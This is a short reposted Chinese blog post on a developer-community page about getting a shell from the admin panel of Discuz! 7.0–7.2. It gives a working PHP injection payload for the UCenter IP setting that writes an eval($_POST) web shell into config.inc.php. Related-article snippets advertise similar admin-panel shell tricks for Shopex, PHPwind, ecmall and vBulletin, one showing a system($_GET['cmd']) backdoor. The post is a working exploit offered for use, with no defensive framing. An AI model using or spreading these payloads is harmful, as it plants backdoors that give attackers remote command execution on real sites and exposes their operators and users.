来源：网络
dz后台-全局-ucenter ip地址插入：
3EST\\’);eval($_POST[a])?>;//
保存后再插入一遍！然后连 http://localhost/dz/config.inc.php成功！
以上我在dz7.0-dz.7.2最新官方下载版本测试通过。
本文转sinojelly51CTO博客，原文链接：http://blog.51cto.com/pnig0s1992/347427，如需转载请自行联系原作者
dz7.0-7.2后台拿shell
2017-11-16
1401
版权
版权声明：
本文内容由阿里云实名注册用户自发贡献，版权归原作者所有，阿里云开发者社区不拥有其著作权，亦不承担相应法律责任。具体规则请查看《
阿里云开发者社区用户服务协议》和
《阿里云开发者社区知识产权保护指引》。如果您发现本社区中有涉嫌抄袭的内容，填写
侵权投诉表单进行举报，一经查实，本社区将立刻删除涉嫌侵权内容。
简介：
目录
相关文章
|
6月前
|
关系型数据库
Shell
PHP
|
2月前
|
Shell
Linux
C++
|
4月前
|
Shell
网络安全
|
NoSQL
Shell
MongoDB
|
SQL
NoSQL
Shell
|
Shell
PHP
索引
Shopex V4.8.4 V4.8.5 后台拿Shell 0Days
ctl.template.php ：
function saveContent(){
if(strtolower(substr($_POST['file'],-4,4))=='.
1386
0
0
|
PHP
PHPwind 7.5 sp3 后台拿shell
2960
0
0
|
PHP
ecmall后台拿Shell
1365
0
0
|
Web App开发
安全
Shell
vBulletin 论坛全版本 后台拿shell
在后台，进插件管理.添加插件.
Ajax_complete 填入代码:1 if(isset($_GET['cmd'])){echo "cmd"; system($_GET['cmd']...
900
0
0